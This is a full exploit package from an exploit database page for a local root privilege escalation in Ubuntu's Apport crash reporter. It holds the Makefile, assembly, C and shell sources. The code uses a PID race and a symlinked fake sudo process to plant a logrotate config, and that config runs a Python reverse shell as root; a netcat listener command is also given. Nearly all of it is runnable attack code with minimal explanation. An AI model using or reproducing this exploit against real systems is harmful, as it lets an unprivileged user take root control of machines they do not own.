Share
## https://sploitus.com/exploit?id=PACKETSTORM:161455
# Exploit Title: Apport 2.20 - Local Privilege Escalation  
# Date: 18/02/21  
# Exploit Author: Gr33nh4t  
# Vendor Homepage: https://ubuntu.com/  
# Version:  
  
Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5  
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16  
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23  
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30  
  
# Tested on: Ubuntu   
  
This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.  
  
# Setup  
  
To compile the exploit code several packages are needed:  
sudo apt-get install build-essential nasm gcc  
  
# Compilation  
  
make  
  
# Run  
  
./exploit.sh  
  
The reverse shell will connect on the next execution of logrotate  
  
nc -l -p 1234  
  
## Makefile ##  
  
.PHONY: all clean  
  
CC=gcc  
CFLAGS=  
  
NASM=nasm  
NASM_FLAGS=-f elf64  
  
LD=ld  
  
  
all: exploit crash decoy  
  
exploit: exploit.c  
$(CC) -o $@ $< $(CFLAGS)  
chmod +x $@  
  
crash: crash.o  
$(LD) $^ -o $@  
  
decoy: decoy.o  
$(LD) $^ -o $@  
  
crash.o: crash.asm  
$(NASM) $(NASM_FLAGS) $^   
  
decoy.o: decoy.asm  
$(NASM) $(NASM_FLAGS) $^   
  
  
clean:  
rm exploit decoy crash *.o  
  
## crash.asm ##  
  
section .data  
message db 10,"/var/crash/test.log{",10," su root root",10," daily",10," size=0",10," firstaction",10," python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10," endscript",10,"}",10, 00  
timeval:  
tv_sec dd 0  
tv_usec dd 0  
  
  
section .text  
global _start  
_start:  
mov dword [tv_sec], 4000000  
mov dword [tv_usec], 0  
mov rax, 35  
mov rdi, timeval  
mov rsi, 0  
syscall  
  
## decoy.asm ##  
  
section .text  
global _start  
_start:  
mov dword [0], 0  
  
## exploit.c ##   
  
#include <unistd.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <signal.h>  
  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
#define PID_THRESHOLD (80)  
  
int read_max_pid_file()  
{  
FILE *fd = 0;  
char buf[256];  
  
fd = fopen("/proc/sys/kernel/pid_max", "r");  
fread(buf, sizeof(buf), 1, fd);  
fclose(fd);  
return atoi(buf);  
}  
  
void write_to_fifo_file(char * path)  
{  
FILE *fd = 0;  
char buf[] = "A";  
  
fd = fopen(path, "w");  
fwrite(buf, sizeof(buf), 1, fd);  
fclose(fd);  
return;  
}  
  
  
int main(int argc, char *argv[])  
{  
int iteration = 0;  
pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;  
int current_pid = 0, max_pid = 0;  
int total_pid = 0;  
  
char *crash_argv[] = {"crash", NULL};  
char *sudo_argv[] = {"sudo", "-S", "sud", NULL};  
  
char current_dir[1024] = {0};  
char exec_buf[2048] = {0};  
char crash_buf[2048] = {0};  
  
struct stat sb = {0} ;  
  
int null_fd = -1;  
  
signal(SIGCHLD, SIG_IGN);  
getcwd(current_dir, sizeof(current_dir));  
snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");  
snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");  
  
chdir("/etc/logrotate.d/");  
  
  
  
// Creating the crash program  
if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)  
{  
crash_pid = fork();  
if (0 == crash_pid)  
{  
execve(crash_buf, crash_argv, NULL);  
exit(0);  
}  
else if(-1 == crash_pid)  
{  
printf("[-] Could not fork program\n");  
return -1;  
}  
}  
else  
{  
printf("[-] Please check crash file executable.");  
return -1;  
}  
  
  
max_pid = read_max_pid_file();  
printf("[*] crash pid: %d\n", crash_pid);  
printf("[*] max pid: %d\n", max_pid);  
  
printf("[*] Creating ~%d PIDs\n", max_pid);  
printf("[*] Forking new processes\n");  
sleep(3);  
  
// Iterating through max_pid to almost reach the crash program pid  
while (iteration < max_pid - 1)  
{  
// Print progress of forks  
if( 0 == (iteration % (int)(max_pid / 5000)))  
{  
printf("\rIteration: %d/%d", iteration + 1, max_pid);  
fflush(stdout);  
}  
temp_pid = -1;  
temp_pid = fork();  
if (0 == temp_pid)  
{  
exit(0);  
}  
else if (temp_pid > 0)  
{  
iteration++;  
// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process  
if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)  
{  
printf("\rIteration: %d/%d\n", iteration + 1, max_pid);  
fflush(stdout);  
printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);  
break;  
}  
}  
else if (-1 == temp_pid)  
{  
printf("[-] Could not fork temp programs\n");  
}  
}  
  
printf("[*] Crashing the crash program\n");  
kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it  
sleep(5);  
printf("[*] Killing the crash program\n");  
kill(crash_pid, SIGKILL);  
sleep(3);  
  
// Now crash pid is free and we need to occupy it  
for(int i=0; i < PID_THRESHOLD ; i++)  
{  
spray_pid = fork();  
if (0 == spray_pid)  
{  
if (crash_pid == getpid())  
{  
null_fd = open("/dev/null", O_WRONLY);  
dup2(null_fd, 1);  
dup2(null_fd, 2);  
close(null_fd);  
  
printf("[+] Creating suid process\n");  
execve(exec_buf, sudo_argv, NULL);  
}  
exit(0);  
}  
}  
  
sleep(3);  
printf("[*] Writing to fifo file\n");  
write_to_fifo_file(argv[1]);  
  
// Now the first apport released and the second apport resumed  
printf("[+] Wrote core file to cwd!\n");  
sleep(10); // Waiting for the second apport to finish execution  
  
return 0;  
}  
  
## exploit.sh ##  
  
#!/bin/sh  
set -e  
echo "[*] Running exploit"  
touch /var/crash/test.log  
ulimit -c unlimited  
  
if [ ! -d "~/.config/apport" ]; then  
echo "[*] Settings directory not exists"  
echo "[*] Creating settings directory"  
mkdir -p ~/.config/apport  
fi  
  
if [ ! -f "~/.config/apport/settings" ] ; then  
echo "[*] Settings file not exists"  
echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings  
echo "[+] Settings file created"  
fi  
  
DECOY_PATH=`realpath ./decoy`  
MY_UID=`id -u`  
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`  
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"  
if [ -f $DECOY_CRASH_PATH ] || [ -p $DECOY_CRASH_PATH ] ; then  
echo "[*] decoy crash exists deleting the file"  
rm $DECOY_CRASH_PATH  
fi  
  
mkfifo $DECOY_CRASH_PATH  
echo "[+] FIFO file created"  
  
./decoy 2>&1 >/dev/null &  
killall -SIGSEGV ./decoy  
  
echo "[+] Decoy process created"  
  
SUDO_PATH=`which sudo`  
ln -s $SUDO_PATH "linkchange"  
python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"  
  
echo "[+] symlink to sudo created"  
  
./exploit $DECOY_CRASH_PATH  
  
rm $DECOY_CRASH_PATH  
  
sleep 5  
if [ -f "/etc/logrotate.d/core" ] ; then  
echo "[*] Exploit succesfully finished"  
else  
echo "[*] Exploit failed"  
fi  
  
# Kill the sudo process after second apport finished  
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`  
  
##